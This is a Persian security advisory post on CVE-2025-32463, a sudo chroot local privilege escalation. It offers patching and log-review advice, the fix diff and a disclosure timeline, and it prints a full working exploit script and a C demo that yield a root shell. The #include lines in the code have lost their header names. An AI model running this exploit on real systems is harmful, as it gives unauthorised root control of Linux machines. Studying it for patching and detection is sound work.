خانه » آسیب ‌پذیری LPE در sudo chroot

آسیب ‌پذیری LPE در sudo chroot

توسط Vulnerlab
547 بازدید
vulnerlab - والنرلب - آسیب ‌پذیری LPE در sudo chroot

یک آسیب ‌پذیری امنیتی با شناسه CVE-2025-32463 در ابزار sudo شناسایی شده است که می‌تواند به یک کاربر لوکال با سطح دسترسی پایین اجازه دهد تا با سوءاستفاده از قابلیت chroot، سطح دسترسی خود را به root افزایش دهد. این آسیب ‌پذیری ناشی از نحوه‌ اجرای chroot در sudo است و به‌طور بالقوه می‌تواند منجر به حمله LPE[1] گردد.

جزئیات فنی

ابزار Sudo، یک برنامه خط‌فرمان دارای مجوزهای ویژه است که روی سیستم‌های لینوکس نصب می‌شود و به کاربران مُجاز اجازه می‌دهد تا دستورات را به‌عنوان superuser (سوپریوز) یا کاربر دیگری مطابق با سیاست‌های امنیتی اجرا کنند. این ابزار معمولاً برای پیاده‌سازی الگوی حداقل سطح دسترسی مورد استفاده قرار می‌گیرد؛ به این معنا که وظایف مدیریتی که نیازمند دسترسی سطح بالا هستند، بدون نیاز به اشتراک‌گذاری گذرواژه‌ی root به دیگران واگذار می‌شوند. Sudo همچنین با ثبت تمامی فعالیت‌ها، ردپایی از خود در لاگ‌ سیستم بر جای می‌گذارد.

تیم واحد تحقیقات سایبری Stratascale (CRU) دو آسیب ‌پذیری LPE را در Sudo کشف کرده است. این مقاله بررسی می‌کند که چگونه chroot در Sudo می‌تواند توسط هر کاربر لوکال مورد سوء استفاده قرار گیرد تا سطح دسترسی خود را به root ارتقا دهد، حتی اگر برای آن کاربر هیچگونه قوانینی در پیکربندی Sudo تعریف نشده باشد.

خلاصه آسیب ‌پذیری

  • شناسه آسیب ‌پذیری:  CVE-2025-32463
  • مؤثر بر: ابزار sudo
  • نوع آسیب ‌پذیری: افزایش سطح دسترسی  (Privilege Escalation)
  • روش سوء استفاده: از طریق chroot در sudo

پیامد

پیکربندی پیش‌فرض Sudo در برابر این نقص امنیتی، آسیب ‌پذیر است. اگرچه این آسیب ‌پذیری به ویژگی chroot در Sudo مربوط می‌شود، اما برای سوءاستفاده از آن نیازی نیست هیچ قانون یا مجوزی در فایل پیکربندی Sudo برای کاربر تعریف شده باشد. در نتیجه، هر کاربر لوکال بدون دسترسی ویژه  یا ارتقاء یافته می‌تواند در صورت نصب بودن نسخه‌ی آسیب ‌پذیر، سطح دسترسی خود را به root ارتقا دهد. نسخه‌های زیر به‌عنوان نسخه‌های آسیب ‌پذیر شناسایی شده‌اند.
توجه: همه‌ی نسخه‌های موجود در این بازه به‌صورت کامل مورد آزمایش قرار نگرفته‌اند.

				
					Stable 1.9.14 - 1.9.17
				
			

نکته: نسخه‌های قدیمی Sudo (در حال حاضر نسخه‌های 1.8.32 و قدیمی‌تر) در برابر این آسیب ‌پذیری ایمن هستند، چرا که قابلیت chroot در آنها وجود ندارد.

امکان سوء استفاده در سیستم‌های زیر تأیید شده است:

				
					Ubuntu 24.04.1; Sudo 1.9.15p5, Sudo 1.9.16p2

Fedora 41 Server; Sudo 1.9.15p5
				
			

توصیه‌ای به مدیران سیستم و تیم‌های امنیتی

  • به‌روزرسانی پکیج‌های Sudo: آخرین نسخه‌های پکیج Sudo را بر روی سیستم خود نصب کنید. برای این آسیب ‌پذیری هیچ راه‌حل موقتی وجود ندارد.
  • استفاده از chroot: از نسخه‌ی 9.17p1 به بعد، chroot منسوخ شده است. توصیه می‌شود از به‌کارگیری این مورد خودداری کنید، زیرا در صورت پیاده‌سازی نادرست می‌تواند به‌طور غیرمنتظره‌ای امنیت سیستم شما را کاهش دهد.
  • بررسی محیط سیستم: محیط خود را برای هرگونه استفاده از chroot جستجو کنید. تمامی قوانین Sudo تعریف‌ شده در فایل etc/sudoers/ و زیرشاخه‌های etc/sudoers.d/ را بازبینی کنید. چنانچه قوانین Sudo در LDAP ذخیره شده‌اند، از ابزارهایی مانند ldapsearch برای استخراج و بررسی آن‌ها استفاده نمایید.
  • جستجوی دستورات خاص: به دنبال استفاده از runchroot= option یا  CHROOT= directive (دستورالعمل) در قوانین جداگانه باشید.
  • بررسی لاگ‌ها: می‌توانید ورودهای Sudo را در syslog جستجو کنید. هر دستوری که از chroot استفاده کند، با رشته‌ی =CHROOT در لاگ ثبت خواهد شد.

مقدمه‌ای بر  Sudo chroot

chroot(2) system call و chroot(8) به منظور محدود کردن فایل‌ها و دایرکتوری‌هایی استفاده می‌شوند که یک فرآیند می‌تواند در یک سیستم فایل مشخص به آن‌ها دسترسی داشته باشد. این محدودیت با تغییر دایرکتوری root فرآیند به یک مسیر مشخص اعمال می‌شود و دید فرآیند را به فایل‌های موجود در آن مسیر محدود می‌کند.

یک مثال واقعی از کاربرد آن، سرورهای SFTP/FTP است. مدیران سیستم می‌توانند کاربران را طوری پیکربندی کنند که تنها به دایرکتوری home خود در حین انتقال فایل دسترسی داشته باشند. برای نمونه، تنظیم root فرآیند FTP روی مسیر home/user/ مانع دسترسی به فایل‌هایی خارج از آن دایرکتوری، مانند etc/passwd/ می‌شود.

با این حال، chroot به عنوان یک مرز امنیتی قوی در نظر گرفته نمی‌شود. در صفحه‌ی راهنمای لینوکس chroot(2) به صراحت آمده است:

«این فراخوان صرفاً یکی از مؤلفه‌های فرآیند pathname resolution تغییر می‌دهد و کار دیگری انجام نخواهد داد و برای اهداف امنیتی طراحی نشده است (نه برای ایجاد یک محیط کاملا ایزوله (sandbox) و نه برای محدود کردن فراخوانی‌های سیستم فایل)».

فراخوانی chroot در Sudo از طریق -R <directory> یا –chroot=<directory> پیاده‌سازی شده است تا بتوان پیش از اجرای دستور، به دایرکتوری root مشخص شده تغییر مکان داد. این ویژگی معمولاً رایج نیست و به ندرت استفاده می‌شود و احتمالاً برای پشتیبانی از موارد خاص طراحی شده است.

در ادامه مثالی از یک قانون Sudo در تست‌ها آورده شده است: اکانت lowpriv مجاز است دستور bin/bash/  را تحت مسیر web/ اجرا کند. در این مثال، کاربر مسیر chroot را از طریق گزینه‌های خط فرمان مشخص نمی‌کند بلکه Sudo قبل از اجرای bin/bash/ به web باید chroot/ کند.

				
					lowpriv ALL = CHROOT=/web /bin/bash
				
			

هنگامی که دستور از طریق Sudo اجرا شود، مسیر “root” به web/ تنظیم خواهد شد، بنابراین web/bin/bash/ و تمام کتابخانه‌های لینک‌ شده آن بایستی موجود و در دسترس باشند.
مثال زیر از خروجی دستور lsof نشان می‌دهد که کاربر lowpriv در مسیر web/ در حال اجرای bin/bash/ است. خط rtd تأیید می‌کند که دایرکتوری root به web/ تنظیم شده است.

				
					COMMAND    PID USER   FD   TYPE DEVICE SIZE/OFF    NODE NAME 
bash    160095 root  cwd    DIR  252,0     4096 1048596 /web 
bash    160095 root  rtd    DIR  252,0     4096 1048596 /web 
bash    160095 root  txt    REG  252,0  1446024 1048604 /web/bin/bash 
bash    160095 root  mem    REG  252,0  2125328 1048600 /web/lib/x86…gnu/libc.so.6 
bash    160095 root  mem    REG  252,0   208328 1048601 /web/lib/x86…libtinfo.so.6 
bash    160095 root  mem    REG  252,0   236616 1048602 /web/lib64/ld-…64.so.2 

				
			

توجه داشته باشید که دستورات پایه‌ا‌ی لینوکس مانند ls و find در محیط chroot موجود نیستند، زیرا در آن محیط کپی نشده‌اند.

				
					lowpriv@prod:~$ sudo /bin/bash
bash-5.2# cd /
bash-5.2# ls
bash: ls: command not found
bash-5.2# find .
bash: find: command not found
bash-5.2# echo *
bin lib lib64
bash-5.2# echo bin/*
bin/bash

				
			

مقدار “*” در پیکربندی و تنظیمات runchroot= sudoers به این معناست که کاربر می‌تواند دایرکتوری root را با اجرای sudo همراه با -R مشخص کند. نمونه‌ای از پیکربندی استفاده از این سوئیچ در ادامه آورده شده است.

				
					lowpriv@prod:~$ sudo -l
				
			

تطبیق ورودی‌های پیش‌فرض برای lowpriv در prod:

				
					    env_reset,
    mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty,
    runchroot=*
				
			

کاربر lowpriv می‌تواند دستورات زیر را در prod اجرا کند:

				
					    (root) /bin/bash
lowpriv@prod:~$ sudo -R /web /bin/bash
bash-5.2#
				
			

CVE-2025-32463 – راهنمای گام‌به‌گام افزایش سطح دسترسی  Sudo chroot

آسیب ‌پذیری CVE-2025-32463 در Sudo از نسخه v1.9.14 (ژوئن ۲۰۲۳) وارد شد؛ این نقص هم‌زمان با به‌روزرسانی کد مدیریت تطابق دستورات رخ داد که هنگام فعال بودن قابلیت chroot اجرا می‌شود.

گزیده‌ای از فایل NEWS:

پلاگین sudoers در صورت نیاز، دایرکتوری root را پیش از انجام تطبیق دستورات تغییر خواهد داد. پیش‌تر، دایرکتوری root صرفاً برای مسیر در حال پردازش آماده می‌شد.

مسئله از آنجا ناشی می‌شود که یک کاربر بدون دسترسی سطح بالا، می‌تواند ()chroot را بر روی یک مسیر قابل نوشتن و غیرقابل اطمینان که تحت کنترل خودش است، فراخوانی کند. Sudo چندین بار ()chroot را فراخوانی می‌کند، صرف‌نظر از اینکه آیا کاربر دارای قانون Sudo مربوطه پیکربندی شده می‌باشد یا خیر.

اعطای توانایی به یک کاربر با سطح دسترسی پایین برای فراخوانی ()chroot با اختیارات root روی یک مسیر قابل نوشتن می‌تواند خطرات امنیتی متعددی ایجاد کند. بسیاری از برنامه‌ها، مانند SSH، به‌طور صریح از این موضوع محافظت می‌کنند. به‌عنوان مثال، چنانچه مسیر مقصد متعلق به کاربر root نباشد، SSH از انجام ()chroot خودداری خواهد کرد.

توابع ()pivot_root و ()unpivot_root که در فایل plugins/sudoers/pivot.c تعریف شده‌اند، منطق chroot را مدیریت می‌کنند. عملیات Name Service Switch (NSS) بین این دو فراخوانی، فعال می‌شود که موجب می‌گردد سیستم، فایل پیکربندی /etc/nsswitch.conf را از محیط غیرقابل اطمینان بارگیری کند. این فایل شامل دستورالعمل‌هایی است که سیستم را راهنمایی می‌کند تا چگونه اطلاعات کاربران، گروه‌ها و میزبان‌ها را بازیابی نماید. منابع متعددی می‌توانند در آن لیست شوند و سیستم به ترتیب خاصی جستجو می‌کند تا اولین تطابق مشاهده شود.

به عنوان مثال، بخش زیر از فایل nsswitch.conf نشان می‌دهد که از منابع files و ldap برای آن سرویس استفاده می‌شود. هنگام بازیابی اطلاعات یک کاربر، ابتدا فایل‌های لوکال (مانند /etc/passwd) جستجو می‌شوند و در صورت پیدا نشدن آنها، LDAP بررسی خواهد شد.

				
					passwd:         files ldap
group:          files ldap
shadow:         files ldap
gshadow:        files ldap
				
			

یک نکته جالب که ممکن است هنگام خواندن فایل nsswitch.conf فوراً آشکار نشود این است که نام منبع نیز به عنوان بخشی از مسیر یک آبجکت مشترک (کتابخانه) استفاده می‌شود. به عنوان مثال، منبع ldap فوق به libnss_ldap.so ترجمه می‌شود. هنگامی که یک تابع NSS از منبع ldap استفاده می‌کند، کتابخانه بارگیری می‌شود.

به موجب این رفتار، هر کاربر لوکال می‌تواند Sudo را برای دریافت یک آبجکت مشترک دلخواه فریب دهد و در نتیجه کد دلخواه را به عنوان root اجرا کند. ردیابی stack زیر، آبجکت مشترک مخربی را که توسط Sudo بارگیری شده است، نشان می‌دهد.

				
					#0  0x0000763a155db181 in woot () from libnss_/woot1337.so.2
#1  0x0000763a1612271f in call_init
#8  0x0000763a1612a164 in _dl_open (file="libnss_/woot1337.so.2", 
#14 0x0000763a15f53a0f in module_load
#15 0x0000763a15f53ee5 in __nss_module_load
#17 0x0000763a15f5460b in __GI___nss_lookup_function
#19 0x0000763a15f50928 in __GI___nss_passwd_lookup2
#20 0x0000763a15f62628 in __getpwnam_r 
#21 0x0000763a15d59ae8 in pam_modutil_getpwnam
#27 0x0000763a15d58d99 in pam_acct_mgmt
#28 0x0000763a1577e491 in sudo_pam_approval
#29 0x0000763a157ce3ef in sudo_auth_approval
#30 check_user.constprop.0
#32 0x0000763a15799143 in sudoers_check_cmnd
#33 sudoers_policy_check
#34 0x00005ba00874b491 in policy_check
#35 main
				
			

به منظور اکسپلویت این آسیب پذیری، فایل etc/nsswitch.conf/ زیر در محیط chrooted قرار داده شده است. “source” مربوط به woot1337 NSS/ به libnss_/woot1337.so.2 ترجمه می‌شود که یک آبجکت مشترک تحت مسیری است که ما کنترل می‌کنیم.

				
					passwd: /woot1337
				
			

اجرای PoC بر روی سرور Ubuntu 24.04.2 LTS به همراه Sudo v1.9.15p5، با استفاده از کاربر دارای سطح دسترسی پایین که هیچ قاعده‌ای در Sudo برایش تعریف نشده است، منجر به دستیابی به یک شل root خارج از محیط chroot شده است.

				
					lowpriv@prod:~/CVE-2025-32463$ id
uid=1001(lowpriv) gid=1001(lowpriv) groups=1001(lowpriv)
lowpriv@prod:~/CVE-2025-32463$ sudo -l
[sudo] password for lowpriv:
Sorry, user lowpriv may not run sudo on prod.
lowpriv@prod:~/CVE-2025-32463$ ./sudo-chwoot.sh
woot!
root@prod:/# id
uid=0(root) gid=0(root) groups=0(root),1001(lowpriv)
				
			

PoC کامل sudo-chwoot.sh:

				
					#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat &gt; woot1337.c&lt;&lt;EOF
#include 
#include 

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" &gt; woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
				
			

نمایش  Chwoot

فایل chwoot-demo.c یک نسخه ساده‌ شده از آسیب ‌پذیری Sudo است که برای بازتولید رفتار اصلی آن طراحی شده است. این اثبات مفهوم (PoC) می‌تواند برای نمایش مشکلات بالقوه مرتبط با تابع ()chroot به‌کار رود.

				
					/*
  Description: Simulate behavior of CVE-2025-32463 - sudo EoP via chroot.
               Possible future CTF challenge? :)
  gcc -Wall -o chwoot-demo chwoot-demo.c
  cp 4755 chwoot-demo
  mv chwoot-demo /usr/bin
  Then get a root shell as a low priv user
*/
#include 
#include 
#include 
#include 
#include 

int main() {
    chdir("/tmp/stage");
    int saved_root = open("/",O_RDONLY);
    int saved_cwd = open(".",O_RDONLY);
    chroot("/tmp/stage");
    chdir("/");
    gethostbyname("woot");
    fchdir(saved_root);
    chroot(".");
    fchdir(saved_cwd);
    getgrnam("got root?");
}
				
			

نسخه پَچ عملاً تغییراتی را که در Sudo 1.9.14 اعمال شده بودند، بازمی‌گرداند. توابع ()pivot_root و ()unpivot_root حذف شده‌اند و دیگر در فاز تطبیق دستور، ()chroot فراخوانی نمی‌شود.

				
					--- sudo-1.9.17/plugins/sudoers/sudoers.c       2025-06-12 12:12:38.000000000 -0500
+++ sudo/plugins/sudoers/sudoers.c      2025-06-10 11:27:57.493871502 -0500
@@ -1080,7 +1080,6 @@
 int
 set_cmnd_path(struct sudoers_context *ctx, const char *runchroot)
 {
-    struct sudoers_pivot pivot_state = SUDOERS_PIVOT_INITIALIZER;
     const char *cmnd_in;
     char *cmnd_out = NULL;
     char *path = ctx-&gt;user.path;
@@ -1099,13 +1098,7 @@
     if (def_secure_path &amp;&amp; !user_is_exempt(ctx))
        path = def_secure_path;

-    /* Pivot root. */
-    if (runchroot != NULL) {
-       if (!pivot_root(runchroot, &amp;pivot_state))
-           goto error;
-    }
-
-    ret = resolve_cmnd(ctx, cmnd_in, &amp;cmnd_out, path);
+    ret = resolve_cmnd(ctx, cmnd_in, &amp;cmnd_out, path, runchroot);
     if (ret == FOUND) {
        char *slash = strrchr(cmnd_out, '/');
        if (slash != NULL) {
@@ -1122,14 +1115,8 @@
     else
        ctx-&gt;user.cmnd = cmnd_out;

-    /* Restore root. */
-    if (runchroot != NULL)
-       (void)unpivot_root(&amp;pivot_state);
-
     debug_return_int(ret);
 error:
-    if (runchroot != NULL)
-       (void)unpivot_root(&amp;pivot_state);
     free(cmnd_out);
     debug_return_int(NOT_FOUND_ERROR);
 }
				
			

با اعمال پچ، اکسپلویت با شکست مواجه خواهد شد چرا که ()chroot دیگر فراخوانی نمی‌شود.

				
					lowpriv@prod:~/CVE-2025-32463$ ./sudo-chwoot.sh
woot!
sudo: the -R option will be removed in a future version of sudo
Password:
sudo: you are not permitted to use the -R option with woot
				
			

سخن پایانی

آسیب ‌پذیری CVE-2025-32463 یکی از موارد مهم مرتبط با جداسازی محیط‌های chroot در ابزار sudo می‌باشد. اگرچه سوء استفاده از آن مستلزم دسترسی لوکال است، اما در محیط‌های چندکاربره یا سرورهای اشتراکی می‌تواند منجر به نقض کامل امنیت سیستم شود. توصیه جدی می‌شود که به‌روزرسانی امنیتی sudo در اسرع وقت اعمال گردد و پیکربندی chroot مورد بازبینی قرار گیرد.

تایم لاین افشای آسیب پذیری

  • ۰۱/۰۴/۲۰۲۵: گزارش آسیب‌ پذیری به Todd Miller (نگهدارنده Sudo) ارسال شد.
  • ۰۳/۰۴/۲۰۲۵: پیگیری برای تأیید دریافت گزارش اولیه.
  • ۰۳/۰۴/۲۰۲۵: گزارش تأیید شد و بحث اولیه آغاز گردید.
  • ۰۶/۰۴/۲۰۲۵: Todd Miller، پچ مربوط به CVE-2025-32462 را پیشنهاد داد.
  • ۰۷/۰۴/۲۰۲۵: درخواست تخصیص CVE از MITRE ارسال شد.
  • ۰۸/۰۴/۲۰۲۵: MITRE، شماره‌های CVE-2025-32462 (گزینه host) و CVE-2025-32463 (chroot) را اختصاص داد.
  • ۰۸/۰۴/۲۰۲۵: پچ CVE-2025-32462 بررسی شد و بازخورد اضافی ارائه گردید.
  • ۲۳/۰۴/۲۰۲۵: پیگیری برای دریافت به‌روزرسانی.
  • ۰۶/۰۵/۲۰۲۵: پیگیری برای دریافت به‌روزرسانی.
  • ۰۶/۰۵/۲۰۲۵: پاسخ Todd Miller دریافت شد (همچنان بر روی راه‌حل مشکل chroot مشغول کار بود).
  • ۰۷/۰۵/۲۰۲۵: بازخورد مربوط به مشکل chroot ارسال شد.
  • ۱۶/۰۵/۲۰۲۵: پیگیری برای دریافت به‌روزرسانی.
  • ۰۴/۰۶/۲۰۲۵: پیگیری برای دریافت به‌روزرسانی.
  • ۰۹/۰۶/۲۰۲۵: Todd Miller پچ مربوط به CVE-2025-32463 را پیشنهاد داد.
  • ۱۰/۰۶/۲۰۲۵: پچ CVE-2025-32463 بررسی شد؛ جدول زمانی افشا پیشنهاد گردید.
  • ۲۳/۰۶/۲۰۲۵: پچ برای لیست توزیع‌های سیستم‌عامل ارسال شد؛ لینک‌های advisory Sudo تأیید گردید.
  • ۳۰/۰۶/۲۰۲۵: افشای عمومی انجام شد.
  • ۳۰/۰۶/۲۰۲۵: پست وبلاگی منتشر شد.

[1] Local Privilege Escalation

منبع

همچنین ممکن است دوست داشته باشید

پیام بگذارید

wpChatIcon
wpChatIcon